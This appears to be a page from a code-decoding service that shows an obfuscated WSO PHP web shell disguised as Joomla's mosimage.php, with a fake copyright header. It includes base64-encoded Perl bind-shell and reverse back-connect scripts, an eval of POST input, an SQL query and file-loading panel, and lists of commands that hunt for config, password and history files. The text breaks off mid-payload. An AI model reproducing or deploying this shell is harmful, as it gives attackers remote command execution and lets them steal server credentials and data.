CAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXS0xKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXS0tOw0KCQkJCQlpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7DQoJCQkJCWVsc2UNCgkJCQkJCSRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOw0KCQkJCQllY2hvICI8YnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQoJCQkJCSRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7DQoJCQkJCWlmKCRkYi0+cmVzICE9PSBmYWxzZSkgew0KCQkJCQkJJHRpdGxlID0gZmFsc2U7DQoJCQkJCQllY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOw0KCQkJCQkJJGxpbmUgPSAxOw0KCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsNCgkJCQkJCQlpZighJHRpdGxlKQl7DQoJCQkJCQkJCWVjaG8gJzx0cj4nOw0KCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQ0KCQkJCQkJCQkJZWNobyAnPHRoPicuJGtleS4nPC90aD4nOw0KCQkJCQkJCQlyZXNldCgkaXRlbSk7DQoJCQkJCQkJCSR0aXRsZT10cnVlOw0KCQkJCQkJCQllY2hvICc8L3RyPjx0cj4nOw0KCQkJCQkJCQkkbGluZSA9IDI7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsNCgkJCQkJCQkkbGluZSA9ICRsaW5lPT0xPzI6MTsNCgkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKQ0KCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KCQkJCQkJCQllbHNlDQoJCQkJCQkJCQllY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdHI+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzwvdGFibGU+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsNCgkJCQllY2hvICI8L3RkPjwvdHI+IjsNCgkJCX0NCgkJCWVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsNCiAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsNCiAgICAgICAgICAgIH0NCgkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgew0KCQkJCSRmaWxlID0gJGRiLT5sb2FkRmlsZSgkX1BPU1RbJ3AyJ10pOw0KCQkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJCX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJd3NvSGVhZGVyKCk7DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0KCWVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwvc3Bhbj48YnIvPg0KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJhY2stY29ubmVjdCAgW3BlcmxdPC9zcGFuPjxici8+DQoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPjxicj4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsNCgkJCSRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsNCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KCQkJJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOw0KCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOw0KICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JjLnBsIik7DQoJCX0NCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvblJDKCkgew0KCWlmKCFAJF9QT1NUWydwMSddKSB7DQoJCSRhID0gYXJyYXkoDQoJCQkidW5hbWUiID0+IHBocF91bmFtZSgpLA0KCQkJInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksDQoJCQkid3NvX3ZlcnNpb24iID0+IFdTT19WRVJTSU9OLA0KCQkJInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykNCgkJKTsNCgkJZWNobyBzZXJpYWxpemUoJGEpOw0KCX0gZWxzZSB7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgl9DQp9DQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkNCglpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpDQoJCSRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOw0KCWVsc2UNCgkJJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7DQppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQ0KCWNhbGxfdXNlcl9mdW5jKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pOw0KZXhpdDs=''));

Did this file decode correctly?

Original Code

<?php

/**
 * @version		$Id: mosimage.php 21069 2011-04-03 22:58:48Z dextercowley $
 * @package		Joomla
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */




$mosimage_session = "83f76baa5eda735393d335bae97cde1b";
$default_charset='Wi'.'ndo.'.'ws-12'.'51';
$default_action='Fil'.'esMan';
$color='#d'.'f5';
$default_use_ajax=true;
$mosimage_category = strrev('ed'.'oc'.'ed_4'.'6e'.'sab');
$mosimage_category_session = strrev('eca'.'lper'.'_ge'.'rp');
$Hgtgfy="\163\164\162";$Nhygfju="\164\162";
$brtAe=$Hgtgfy.$Nhygfju;
$jHyhj="]WYoIWVt<HR5KCR_U0VSVkVSWy&IVFRQX1VTRVJ_QU&FTlQnXSkpIHsNCiAgICAk&XNl<kFnZW50<yA9IGFy<mF5KCJH[29n[GUiLCAiU2x1<nAiLCAiTVNOQm90IiwgImlhX2FyY2hp&mVyIiwgIllh[mRl*CIsICJSYW1i[GVyIik7DQogICAg]WYo<HJlZ19tYXRj]CgnLy<gLiBp[XBs[2RlKC&8JywgJHVzZXJBZ2Vu&HMpIC4gJy9pJywgJF9TRVJWRVJ[J0hUVFB_VVNFUl9BR0VOVC&&KSkg*w0KICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBO[3QgRm91[mQnKTsNCiAgICAgICAgZXhp&DsNCiAgICB9DQp9DQoNCkBzZXNz]W9uX3N0YXJ0KCk7DQpA]W5pX3Nl&CgnZXJy[3J_[G9nJyxOVUxMKTsNCkBp[ml_<2V0KC&s[2&_ZXJy[3JzJywwKTsNCkBp[ml_<2V0KC&tYXh_ZXhlY3V0]W9uX3Rp[WUnLDApOw0KQHNl&F90]W1lX2xp[Wl0KDApOw0KQHNl&F9tYW&pY19x&W90ZXN_<nVu&GltZSgwKTsNCkBkZWZp[mUoJ1&TT19WRVJTSU9OJywgJzIuNC<pOw0KDQppZihnZXR_[WFn]WN_<XVv&GVzX2&wYygpKSB7DQoJZnVuY3Rp[24gV1NP<3Ry]XBz[GFz]GVzKCRh<nJh*Skg*w0KCQlyZXR1<m4g]XN_YXJyYXkoJGFy<mF5KSA/IGFy<mF5X21h<CgnV1NP<3Ry]XBz[GFz]GVzJywgJGFy<mF5KSA6IHN0<mlw<2xh<2hl<ygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBXU09z&HJp<HNsYXNoZXMoJF9QT1NUKTsNCn0NCg0KZnVuY3Rp[24g&3NvTG9n]W4oKSB7DQoJZGllKCI8<HJlIGFs]W&uPWNl[nRl<j48Zm9y[SBtZXRo[2Q9<G9z&D5QYXNz&29yZDogPGlu<HV0IHR5<GU9<GFz<3&v<mQg[mFtZT1wYXNzPjxp[nB1&CB0*XBlPXN1Ym1p&CB2YWx1ZT0nPj4nPjwvZm9y[T48L3ByZT4iKTsNCn0NCg0K]WYoIWlz<2V0KCR_U0VTU0lPTlttZDUoJF9TRVJWRVJ[J0hUVFB_SE9TVC&&KV0pKQ0KCWlmKCBl[XB0*Sgk[W9z]W1hZ2V_<2Vz<2lv[ikg_HwgKCBp<3Nl&CgkX1BPU1R[J3Bh<3MnXSkgJiYgKG1kNSgkX1BPU1R[J3Bh<3MnXSkgPT0gJG1v<2ltYW&lX3Nl<3Np[24pICkgKQ0KCQkkX1NFU1NJT05[[WQ1KCR_U0VSVkVSWy&IVFRQX0hPU1QnXSl&ID0g&HJ1ZTsNCgll[HNlDQoJCX&z[0xvZ2luKCk7DQoNCmlmKHN0<nRv[G93ZXIo<3Vi<3RyKFBIUF9PUywwLDMpKSA9PSAi&2luIikNCgkk[3MgPSAn&2luJzsNCmVs<2UNCgkk[3MgPSAn[ml4JzsNCg0KJHNhZmV_[W9kZSA9IEBp[ml_Z2V0KC&zYWZlX21vZGUnKTsNCmlmKCEk<2FmZV9t[2RlKQ0KICAgIGVy<m9yX3Jl<G9y&GluZygwKTsNCg0KJGRp<2Fi[GV_ZnVuY3Rp[25zID0gQGlu]V9nZXQoJ2Rp<2Fi[GV_ZnVuY3Rp[25zJyk7DQok]G9tZV9j&2QgPSBAZ2V0Y3&kKCk7DQppZihp<3Nl&CgkX1BPU1R[J2MnXSkpDQoJQGNoZGlyKCR_UE9TVFsnYy&&KTsNCiRj&2QgPSBAZ2V0Y3&kKCk7DQppZigk[3MgPT0gJ3&p[i<pIHsNCgkk]G9tZV9j&2QgPSBz&HJ_<mVw[GFjZSgiXFwiLCAiLyIsICRo[21lX2N3ZCk7DQoJJGN3ZCA9IHN0<l9yZXBsYWNlKCJ<XCIsICIvIiwgJGN3ZCk7DQp9DQppZiggJGN3ZFtz&HJsZW4oJGN3ZCktMV0gIT0gJy8nICkNCgkkY3&kIC49IC<vJzsNCg0K]WYoIWlz<2V0KCR_U0VTU0lPTlttZDUoJF9TRVJWRVJ[J0hUVFB_SE9TVC&&KSAuIC&h]mF4J10pKQ0KICAgICR_U0VTU0lPTlttZDUoJF9TRVJWRVJ[J0hUVFB_SE9TVC&&KSAuIC&h]mF4J10gPSAoYm9v[CkkR0xPQkFMU1snZGVmYXVs&F91<2V_YWph*C&&Ow0KCQ0K]WYoJG9zID09IC&3]W4nKQ0KCSRh[Glh<2VzID0gYXJyYXkoDQoJCSJM]XN0IERp<mVj&G9y*SIgPT4gImRp<iIsDQogICAgCSJG]W5kIGluZGV4LnBo<CBp[iBj&XJyZW50IGRp<iIgPT4gImRp<iAv<yAv&yAvYiBp[mRl*C5w]HAiLA0KICAgIAkiRmluZCAqY29uZmlnKi5w]HAg]W4gY3Vy<mVu&CBk]XIiID0+ICJk]XIgL3MgL3<gL2IgKmNv[mZpZyou<GhwIiwNCiAgICAJIlNo[3<gYWN0]XZlIGNv[m5lY3Rp[25zIiA9PiAi[mV0<3Rh&CAtYW4iLA0KICAgIAkiU2hv&yBy&W5u]W5nIHNl<nZpY2VzIiA9PiAi[mV0IHN0YXJ0IiwNCiAgICAJIlVzZXIgYWNj[3Vu&HMiID0+ICJuZXQg&XNl<iIsDQogICAgCSJT]G93IGNv[XB1&GVy<yIgPT4gIm5l&CB2]WV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFy<CAtYSIsDQoJCSJJUCBD[25m]W&1<mF0]W9uIiA9PiAi]XBj[25m]W<gL2Fs[CINCgkpOw0KZWxzZQ0KCSRh[Glh<2VzID0gYXJyYXkoDQogIAkJIkxp<3QgZGlyIiA9PiAi[HMgLWxoYSIsDQoJCSJs]XN0IGZp[GUgYXR0<mli&XRl<yBv[iBhIExp[nV4IHNlY29uZCBl*HRl[mRlZCBm]WxlIHN5<3Rl[SIgPT4gImxzYXR0<iAt&mEiLA0KICAJCSJz]G93IG9wZW5lZCBw[3J0<yIgPT4gIm5l&HN0YXQgLWFuIHwgZ3Jl<CAt]SBs]XN0ZW4iLA0KICAgICAgICAi<HJvY2Vz<yBz&GF0&XMiID0+ICJw<yBh&XgiLA0KCQkiRmluZCIgPT4gIiIsDQogIAkJImZp[mQgYWxsIHN1]WQgZmlsZXMiID0+ICJm]W5kIC8gLXR5<GUgZiAt<GVy[SAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBz&WlkIGZp[GVzIGluIGN1<nJl[nQgZGlyIiA9PiAiZmluZCAuIC10*XBlIGYgLXBl<m0gLTA0MDAwIC1s<yIsDQogIAkJImZp[mQgYWxsIHNn]WQgZmlsZXMiID0+ICJm]W5kIC8gLXR5<GUgZiAt<GVy[SAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZp[GVzIGluIGN1<nJl[nQgZGlyIiA9PiAiZmluZCAuIC10*XBlIGYgLXBl<m0gLTAyMDAwIC1s<yIsDQogIAkJImZp[mQgY29uZmlnLmluYy5w]HAgZmlsZXMiID0+ICJm]W5kIC8gLXR5<GUgZiAt[mFtZSBj[25m]W<u]W5jLnBo<CIsDQogIAkJImZp[mQgY29uZmlnKiBm]Wxl<yIgPT4gImZp[mQgLyAt&HlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBj[25m]W<qIGZp[GVzIGluIGN1<nJl[nQgZGlyIiA9PiAiZmluZCAuIC10*XBlIGYgLW5h[WUgXCJj[25m]W<qXCIiLA0KICAJCSJm]W5kIGFs[CB3<ml0YWJsZSBm[2xkZXJzIGFuZCBm]Wxl<yIgPT4gImZp[mQgLyAt<GVy[SAtMiAt[HMiLA0KICAJCSJm]W5kIGFs[CB3<ml0YWJsZSBm[2xkZXJzIGFuZCBm]Wxl<yBp[iBj&XJyZW50IGRp<iIgPT4gImZp[mQgLiAt<GVy[SAtMiAt[HMiLA0KICAJCSJm]W5kIGFs[CBzZXJ2]WNlLnB3ZCBm]Wxl<yIgPT4gImZp[mQgLyAt&HlwZSBmIC1uYW1lIHNl<nZpY2Uu<H&kIiwNCiAgCQkiZmluZCBzZXJ2]WNlLnB3ZCBm]Wxl<yBp[iBj&XJyZW50IGRp<iIgPT4gImZp[mQgLiAt&HlwZSBmIC1uYW1lIHNl<nZpY2Uu<H&kIiwNCiAgCQkiZmluZCBh[GwgLmh0<GFz<3&kIGZp[GVzIiA9PiAiZmluZCAvIC10*XBlIGYgLW5h[WUgLmh0<GFz<3&kIiwNCiAgCQkiZmluZCAu]HRwYXNz&2QgZmlsZXMg]W4gY3Vy<mVu&CBk]XIiID0+ICJm]W5kIC4gLXR5<GUgZiAt[mFtZSAu]HRwYXNz&2QiLA0KICAJCSJm]W5kIGFs[CAuYmFz]F9o]XN0[3J5IGZp[GVzIiA9PiAiZmluZCAvIC10*XBlIGYgLW5h[WUgLmJh<2h_]Glz&G9y*SIsDQogIAkJImZp[mQgLmJh<2h_]Glz&G9y*SBm]Wxl<yBp[iBj&XJyZW50IGRp<iIgPT4gImZp[mQgLiAt&HlwZSBmIC1uYW1lIC5iYXNoX2hp<3Rv<nkiLA0KICAJCSJm]W5kIGFs[CAuZmV0Y2htYWls<mMgZmlsZXMiID0+ICJm]W5kIC8gLXR5<GUgZiAt[mFtZSAuZmV0Y2htYWls<mMiLA0KICAJCSJm]W5kIC5mZXRj]G1h]WxyYyBm]Wxl<yBp[iBj&XJyZW50IGRp<iIgPT4gImZp[mQgLiAt&HlwZSBmIC1uYW1lIC5mZXRj]G1h]WxyYyIsDQoJCSJM[2Nh&GUiID0+ICIiLA0KICAJCSJs[2Nh&GUg]HR0<GQuY29uZiBm]Wxl<yIgPT4gImxvY2F0ZSBo&HRwZC5j[25mIiwNCgkJImxvY2F0ZSB2]G9z&HMuY29uZiBm]Wxl<yIgPT4gImxvY2F0ZSB2]G9z&HMuY29uZiIsDQoJCSJs[2Nh&GUg<HJvZnRwZC5j[25mIGZp[GVzIiA9PiAi[G9jYXRlIHBy[2Z0<GQuY29uZiIsDQoJCSJs[2Nh&GUg<HN5Ym5jLmNv[mYgZmlsZXMiID0+ICJs[2Nh&GUg<HN5Ym5jLmNv[mYiLA0KCQki[G9jYXRlIG15LmNv[mYgZmlsZXMiID0+ICJs[2Nh&GUg[XkuY29uZiIsDQoJCSJs[2Nh&GUgYWRt]W4u<GhwIGZp[GVzIiA9PiJs[2Nh&GUgYWRt]W4u<GhwIiwNCgkJImxvY2F0ZSBjZm<u<GhwIGZp[GVzIiA9PiAi[G9jYXRlIGNmZy5w]HAiLA0KCQki[G9jYXRlIGNv[mYu<GhwIGZp[GVzIiA9PiAi[G9jYXRlIGNv[mYu<GhwIiwNCgkJImxvY2F0ZSBj[25m]W<uZGF0IGZp[GVzIiA9PiAi[G9jYXRlIGNv[mZpZy5kYXQiLA0KCQki[G9jYXRlIGNv[mZpZy5w]HAgZmlsZXMiID0+ICJs[2Nh&GUgY29uZmlnLnBo<CIsDQoJCSJs[2Nh&GUgY29uZmlnLmluYyBm]Wxl<yIgPT4gImxvY2F0ZSBj[25m]W<u]W5jIiwNCgkJImxvY2F0ZSBj[25m]W<u]W5jLnBo<CIgPT4gImxvY2F0ZSBj[25m]W<u]W5jLnBo<CIsDQoJCSJs[2Nh&GUgY29uZmlnLmRlZmF1[HQu<GhwIGZp[GVzIiA9PiAi[G9jYXRlIGNv[mZpZy5kZWZh&Wx0LnBo<CIsDQoJCSJs[2Nh&GUgY29uZmlnKiBm]Wxl<yAiID0+ICJs[2Nh&GUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBm]Wxl<yI9PiJs[2Nh&GUgJy5j[25mJyIsDQoJCSJs[2Nh&GUgLnB3ZCBm]Wxl<yIgPT4gImxvY2F0ZSAnLnB3ZC<iLA0KCQki[G9jYXRlIC5z<WwgZmlsZXMiID0+ICJs[2Nh&GUgJy5z<WwnIiwNCgkJImxvY2F0ZSAu]HRwYXNz&2QgZmlsZXMiID0+ICJs[2Nh&GUgJy5o&HBh<3N3ZC<iLA0KCQki[G9jYXRlIC5iYXNoX2hp<3Rv<nkgZmlsZXMiID0+ICJs[2Nh&GUgJy5iYXNoX2hp<3Rv<nknIiwNCgkJImxvY2F0ZSAu[Xlz<Wx_]Glz&G9y*SBm]Wxl<yIgPT4gImxvY2F0ZSAnLm15<3FsX2hp<3Rv<nknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWls<mMgZmlsZXMiID0+ICJs[2Nh&GUgJy5mZXRj]G1h]WxyYy<iLA0KCQki[G9jYXRlIGJhY2t1<CBm]Wxl<yIgPT4gImxvY2F0ZSBiYWNr&XAiLA0KCQki[G9jYXRlIGR1[XAgZmlsZXMiID0+ICJs[2Nh&GUgZHVt<CIsDQoJCSJs[2Nh&GUg<HJp&iBm]Wxl<yIgPT4gImxvY2F0ZSBw<ml2IgkNCgkpOw0KDQpm&W5j&Glv[iB3<29IZWFkZXIoKSB7DQoJ]WYoZW1w&HkoJF9QT1NUWy&j]GFy<2V0J10pKQ0KCQkkX1BPU1R[J2NoYXJzZXQnXSA9ICRHTE9CQUxTWy&kZWZh&Wx0X2NoY